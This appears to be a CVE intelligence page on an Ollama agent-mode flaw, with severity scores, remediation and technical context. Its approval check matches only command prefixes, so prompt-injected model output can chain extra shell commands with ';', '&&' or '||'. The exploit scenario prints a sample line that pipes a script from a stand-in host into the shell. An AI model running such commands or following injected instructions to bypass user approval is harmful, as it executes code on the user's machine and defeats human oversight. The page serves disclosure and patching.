Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPlant prompt-injection payload in agent-consumed content
-
DeliveryModel emits approved command with appended operator
-
ExploitApproval check matches only the prefix
-
ExecutionShell executes appended commands
-
ImpactArbitrary code runs on local host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires Ollama's experimental agent mode to be enabled with the Bash tool in use and a user actively approving commands. The specific flaw is that the approval mechanism performs prefix-based authorization and does not parse shell control operators, so an attacker must be able to influence model output via prompt injection (e.g., malicious content the agent reads) to append semicolons or logical operators (';', '&&', '||') to an already-approved command. Limiting factors: local attack vector (agent runs on the victim host), the feature is experimental and not enabled by default, and user interaction is needed to approve at least one command in the session. |
| Impact | This is a genuine but conditionally-gated risk rather than a mass-exploitation threat. The CVSS 4.0 base score of 8.5 (AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H) reflects full high impact to confidentiality, integrity and availability via arbitrary local command execution, but the local attack vector (AV:L) and passive user interaction (UI:P) show it is not a remote 'send-one-packet' bug - it depends on Ollama's experimental agent mode being enabled and a user driving an approval workflow. No EPSS score, no CISA KEV listing, and no public exploit code are provided in the intelligence, so this is 'no public exploit identified at time of analysis' - despite the high CVSS. There is no SSVC decision block supplied. The CWE-863 (incorrect authorization) root cause is well-corroborated by the VulnCheck advisory and the vendor's own approval.go source lines, so the vulnerability itself is confirmed and patched (v0.31.2); the real-world urgency is moderated by the experimental, non-default nature of the affected feature. Net: real and worth patching for anyone running agent mode, but not an emergency-everywhere issue. |
| Exploit ScenarioDerived | A user runs Ollama's experimental agent mode and approves a seemingly benign Bash command (e.g. 'ls /tmp'). Because the approval mechanism does not parse shell syntax, an attacker who can influence model output through prompt injection - for instance by planting instructions in a document, web page, or file the agent reads - coaxes the model into emitting 'ls /tmp; curl evil.sh | sh', and the appended command executes without ever being approved. No public exploit code is referenced, but the flaw is precisely described by VulnCheck and confirmed in the vendor patch. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 29, 2026
Improper authorization in Ollama's experimental agent-mode Bash tool allows an attacker who can influence model output - for example through prompt injection from untrusted content the agent reads - to smuggle extra shell commands past the user approval prompt. Because the approval logic (x/agent/approval.go in 0.14.0 through 0.31.1) authorizes commands by prefix match without parsing shell syntax, appending a control operator such as ';', '&&', or '||' to an already-approved command causes the trailing command to run with full host privileges, yielding high confidentiality, integrity, and availability impact (CVSS 4.0 base 8.5; independently assessed as CVSS 3.1 AV:L/AC:L/PR:N/UI:R with C:H/I:H/A:H). This is a genuine but conditionally-gated risk rather than a mass-exploitation threat: the attack vector is local, agent mode is an experimental feature that is not enabled by default, and the victim must approve at least one Bash command within the session; no public exploit identified at time of analysis.
RemediationAI
Vendor-released patch: upgrade to Ollama v0.31.2 (https://github.com/ollama/ollama/releases/tag/v0.31.2), which incorporates the fix commit a2b3a5e9a3956bc0700a8505580c11faf4da09b5 and corrects the prefix-only authorization logic in the agent Bash approval path. If immediate upgrade is not possible, disable the experimental agent mode (and specifically the Bash tool) entirely - this removes the attack surface but also removes the agent capability, so it should be treated as a temporary measure; an equivalent and less disruptive option is to run the agent in a sandbox, container, or low-privilege account with no credentials or sensitive mounts, since the appended commands execute with the invoking user's privileges. Because the trigger is untrusted text reaching the model context, operators should also stop feeding external, attacker-controlled content (web pages, repository files, tool output) into agent sessions and should only approve commands they have fully inspected, though this is a detection/hygiene control rather than a hard boundary. Approval prompts should be treated as untrusted for the remainder of the vulnerable window, since a single approved command can be extended with ';', '&&', or '||'. Consult the VulnCheck advisory at https://www.vulncheck.com/advisories/ollama-0.14.0-before-0.31.2-experimental-agent-bash-approval-bypass-via-prefix-based-authorization for the vendor's analysis of the bypass.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-863 (Incorrect Authorization). Ollama's experimental agent mode exposes a Bash tool whose execution is gated by a session approval mechanism implemented in x/agent/approval.go (notably the logic around lines 204-206 and line 389 in v0.31.1). Rather than tokenizing the command line according to POSIX shell grammar, the approval check performs prefix-based string authorization - it verifies the leading portion of the requested command against a previously approved prefix and treats a match as consent for the whole string. Shell control operators (semicolon, '&&', '||', and similar composition constructs) allow one command line to contain multiple independently executed commands, so a model-generated string that begins with an approved command can append arbitrary additional commands that the approval layer never evaluates. Since the agent process executes with the user's privileges on the local host and the Bash invocation is spawned as a real shell, every appended command inherits that privilege level. The CVSS 4.0 vector confirms AV:L (the vulnerable component is reached on the host running the agent), PR:N (no privileges are needed to trigger the flaw), UI:P (the user must approve a command), and VC/VI/VA:H, with no downstream scope impact (SC/SI/SA:N). The CPE cpe:2.3:a:ollama:ollama:* reflects that the flaw spans the whole 0.14.0-to-0.31.x line rather than a single build. The fix commit (a2b3a5e9a3956bc0700a8505580c11faf4da09b5) lands alongside a new agent package file, indicating the remediation reworks how agent turns and tool approvals are represented and evaluated rather than merely escaping a character.
Know when Ollama gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Local agent execution (AV:L) needs no attacker auth (PR:N) but relies on a user approving a command (UI:R); appended commands yield full local C/I/A impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Ollama versions 0.14.0 before 0.31.2 contain an incorrect authorization vulnerability in the experimental agent mode Bash tool approval mechanism that fails to properly parse shell syntax. Attackers who can influence model output through prompt injection can execute additional shell commands by appending control operators like semicolons or logical operators to approved commands, bypassing the session approval requirement.
Executive ViewAI
Ollama’s experimental agent-mode Bash tool-versions 0.14.0 through 0.31.1-contains an authorization flaw that could allow manipulated model output, such as prompt injection from untrusted content, to execute unintended shell commands with the user’s host privileges. The risk is conditionally gated: exploitation requires local access, the experimental feature is not enabled by default, and the user must approve at least one Bash command; no public exploit identified at time of analysis. Leadership should care because affected developers or operators running agent mode on workstations or servers could face full command execution and data exposure if they process untrusted content, though Patch available per vendor advisory reduces urgency.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path,
Remote code execution in Ollama for Windows (versions 0.12.10 through 0.17.5) lets an attacker who can influence HTTP up
Silent auto-update code execution in Ollama for Windows (versions 0.12.10 through 0.17.5) stems from an update-verificat
Denial of service in Ollama's multi-modal image processing (versions 0.11.5-rc0 through 0.13.5) lets remote attackers cr
An issue was discovered in Ollama before 0.1.46. Rated high severity (CVSS 8.2), this vulnerability is remotely exploita
A vulnerability in the Ollama server version 0.5.11 allows a malicious user to cause a Denial of Service (DoS) attack by
A vulnerability in ollama/ollama versions <=0.3.14 allows a malicious user to upload and create a customized GGUF model
An issue in ollama v.0.12.10 allows a remote attacker to cause a denial of service via the fs/ggml/gguf.go, function rea
An issue in ollama v.0.12.10 allows a remote attacker to cause a denial of service via the GGUF decoder [CVSS 7.5 HIGH]
A divide by zero vulnerability exists in ollama/ollama version v0.3.3. Rated high severity (CVSS 7.5), this vulnerabilit
A vulnerability in ollama/ollama versions <=0.3.14 allows a malicious user to create a customized GGUF model file that,
A vulnerability in Ollama versions <=0.3.14 allows a malicious user to create a customized gguf model file that can be u
EUVD-2026-89089
GHSA-44m8-pr79-3734
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB